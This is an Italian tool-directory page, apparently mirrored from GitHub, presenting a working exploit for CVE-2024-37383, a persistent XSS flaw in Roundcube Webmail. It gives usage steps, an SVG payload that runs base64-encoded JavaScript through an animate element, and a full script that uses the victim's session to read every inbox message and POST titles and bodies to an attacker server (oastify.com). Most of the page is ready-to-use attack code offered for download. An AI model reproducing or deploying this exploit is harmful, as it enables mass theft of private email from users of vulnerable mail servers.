Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2024-37383-exploit — Exploit per il server di posta Roundcube per CVE-2024-37383 (XSS persistente) | Kitploit
Strumenti/GitHubGitHub/amirzargham/cve-2024-37383-exploit
Strumenti di PhishingGenerazione di PayloadExploitSfruttamento di Applicazioni WebEsfiltrazione DatiSicurezza Email
GitHubamirzargham/cve-2024-37383-exploit

CVE-2024-37383-exploit

Exploit per il server di posta Roundcube per CVE-2024-37383 (XSS persistente)

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Vedi Repository
11 anno faNon ancora revisionato

Titolo Exploit: Exploit del server di posta Roundcube per CVE-2024-37383 (XSS persistente)

Google Dork:

Autore Exploit: AmirZargham

Homepage del fornitore: Roundcube - Free and Open Source Webmail Software

Link software: Releases · roundcube/roundcubemail

Versione: Versione client Roundcube precedente a 1.5.6 o da 1.6 a 1.6.6.

Testato su: firefox, chrome

CVE: CVE-2024-37383

CWE: CWE-79

Piattaforma: MULTIPLA

Tipo: WebApps

Descrizione:

La vulnerabilità CVE-2024-37383 è stata scoperta nel client di posta elettronica Roundcube Webmail. Si tratta di una vulnerabilità XSS persistente che consente a un attaccante di eseguire codice JavaScript sulla pagina dell'utente. Per sfruttare la vulnerabilità, tutto ciò che l'attaccante deve fare è aprire un'email dannosa utilizzando una versione del client Roundcube precedente a 1.5.6 o da 1.6 a 1.6.6.

Informazioni sull'uso:

1- Aprire il file Roundcube_mail_server_exploit_for_CVE-2024-37383.js.

2- Modificare l'indirizzo web dell'email originale (target) e l'URL del server ricevente (server attaccante).

3- È possibile inserire il codice nell'elemento SVG del file e inviarlo al server. (Si consiglia di configurare un server SMTP per inviare un'email dannosa)

root@kitploit:~
<svg>
<animate attributeName="href " values="javascript:eval(atob('BASE64_EXPLOIT_CODE'));" href="#link" />
</animate>
<a id="link">
<text x=20 y=20>Click me</text>
</a>
</svg>

4 - Dopo che la vittima ha cliccato, tutte le email nella casella di posta verranno inviate al server del collaboratore.

Questo codice automatizza il processo di recupero di tutti i messaggi della casella in arrivo da un server webmail Roundcube e l'invio di tali dati a un endpoint specifico del server del collaboratore.

Ecco una spiegazione passo-passo:

1. Impostazione degli URL:

L'URL principale della webmail (target) e l'URL del server ricevente (attackerserver) sono definiti come variabili all'inizio per una facile configurazione.

2. Ottenere il numero totale di pagine:

La funzione getPageCount invia una richiesta GET all'URL principale della webmail per recuperare i metadati, incluso il numero totale di pagine (pagecount). Se pagecount viene trovato, procede a iterare su ogni pagina.

3. Recuperare gli ID dei messaggi da tutte le pagine:

Per ogni pagina da 1 a pagecount, costruisce un URL paginato per richiedere quella pagina. La risposta di ogni pagina viene controllata per le occorrenze di add_message_row(NUMBER) usando regex, estraendo gli ID dei messaggi da ogni occorrenza e raccogliendo tutti gli ID in una singola lista.

4. Recuperare il contenuto di ogni messaggio:

Per ogni ID messaggio, il codice costruisce un URL per richiedere i dati dettagliati di quel messaggio. Invia una richiesta GET per ogni URL ID messaggio, ricevendo l'HTML completo della risposta.

5. Estrarre e pulire i dati del messaggio:

All'interno di ogni risposta del messaggio, usa regex per catturare il (titolo del messaggio) e il contenuto principale del messaggio. Eventuali tag HTML vengono rimossi dal contenuto del messaggio per mantenere solo il testo semplice.

6. Inviare i dati al server:

Per ogni messaggio estratto, viene effettuata una richiesta POST all'endpoint del server con il titolo e il contenuto del messaggio pulito, codificati come URL per una corretta trasmissione.

root@kitploit:~
// Configuration variables
var target = 'https://webmail.redacted.tld';
var attackerserver = 'https://oastify.com';

function getPageCount(url) {
    var req = new XMLHttpRequest();

    // Configure the request with credentials
    req.open('GET', url, true);
    req.withCredentials = true;

    // Define the response handler
    req.onload = function() {
        if (req.status === 200) {
            try {
                // Parse the response as JSON
                let jsonResponse = JSON.parse(req.responseText);

                // Access the pagecount field
                let pageCount = jsonResponse.env.pagecount;

                if (pageCount !== undefined) {
                    // Array to store all message IDs
                    let allMessageIds = [];
                    let completedRequests = 0; // Track the number of completed requests

                    // Loop to request each page
                    for (let page = 1; page <= pageCount; page++) {
                        (function(currentPage) {
                            var pageReq = new XMLHttpRequest();
                            // Construct the URL with the current page number
                            var paginatedUrl = `${url}&_page=${currentPage}`;

                            // Configure the request
                            pageReq.open('GET', paginatedUrl, true);
                            pageReq.withCredentials = true;

                            // Define the response handler for each page
                            pageReq.onload = function() {
                                if (pageReq.status === 200) {
                                    try {
                                        // Get the response text
                                        let responseText = pageReq.responseText;

                                        // Use a regex to find all instances of this.add_message_row(NUMBER)
                                        let messageRowRegex = /this\.add_message_row\((\d+)/g;
                                        let matches;

                                        // Find all matches and extract the numbers
                                        while ((matches = messageRowRegex.exec(responseText)) !== null) {
                                            allMessageIds.push(matches[1]);
                                        }

                                    } catch (error) {
                                        // Error handling for page processing
                                    }
                                }
                                completedRequests++; // Increment completed request count
                                // Check if all requests are completed
                                if (completedRequests === pageCount) {
                                    // Loop through all message IDs and create URLs using each one
                                    allMessageIds.forEach(id => {
                                        // Construct a new URL with the current message ID
                                        const newUrl = `${target}/?_task=mail&_caps=pdf%3D1%2Cflash%3D0%2Ctiff%3D0%2Cwebp%3D1%2Cpgpmime%3D0&_uid=${id}&_mbox=INBOX&_framed=1&_action=preview`;

                                        // Make a request for each constructed URL
                                        (function(currentUrl) {
                                            var messageReq = new XMLHttpRequest();
                                            messageReq.open('GET', currentUrl, true);
                                            messageReq.withCredentials = true;

                                            // Define the response handler for the message request
                                            messageReq.onload = function() {
                                                if (messageReq.status === 200) {
                                                    // Get the response text
                                                    let messageResponseText = messageReq.responseText;

                                                    // Extract <title> content using regex
                                                    let titleMatch = messageResponseText.match(/<title>(.*?)<\/title>/);
                                                    let title = titleMatch ? titleMatch[1] : "No Title";

                                                    // Use regex to extract the main message content
                                                    var regex = /<!-- html ignored --><!-- head ignored --><!-- meta ignored -->([\s\S]*?)<\/div>/g;
                                                    let messageMatches;
                                                    while ((messageMatches = regex.exec(messageResponseText)) !== null) {
                                                        // Clean HTML tags from the message content
                                                        let cleanMessage = messageMatches[1].replace(/<\/?[^>]+(>|$)/g, ""); // Remove HTML tags

                                                        // Send the cleaned message and title to the user via POST request
                                                        sendMessageToUser(cleanMessage.trim(), title);
                                                    }
                                                }
                                            };

                                            // Handle network errors for message request
                                            messageReq.onerror = function() {
                                                // Error handling for message request
                                            };

                                            // Send the request for the current message URL
                                            messageReq.send();
                                        })(newUrl);
                                    });
                                }
                            };

                            // Handle network errors for page request
                            pageReq.onerror = function() {
                                completedRequests++; // Increment completed request count even on error
                            };

                            // Send the request for the current page
                            pageReq.send();
                        })(page);
                    }
                }
            } catch (error) {
                // Error handling for JSON parsing
            }
        }
    };

    // Handle network errors for initial request
    req.onerror = function() {
        // Error handling for initial request
    };

    // Send the request
    req.send();
}

// Function to send cleaned message and title to the specified user via POST request
function sendMessageToUser(message, title) {
    var postReq = new XMLHttpRequest();
    postReq.open('POST', attackerserver, true);
    postReq.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');

    // Define the response handler for the POST request
    postReq.onload = function() {
        // Response handler for successful send
    };

    // Handle network errors for sending message
    postReq.onerror = function() {
        // Error handling for message send
    };

    // Send the POST request with the URL-encoded title and message content
    postReq.send(`title=${encodeURIComponent(title)}&message=${encodeURIComponent(message)}`);
}

// Usage
var url = `${target}/?_task=mail&_action=list&_layout=widescreen&_mbox=INBOX&_page=1&_remote=1&_unlock=loading1730525119718&_=1730525069360`;
getPageCount(url);

Scarica lo strumento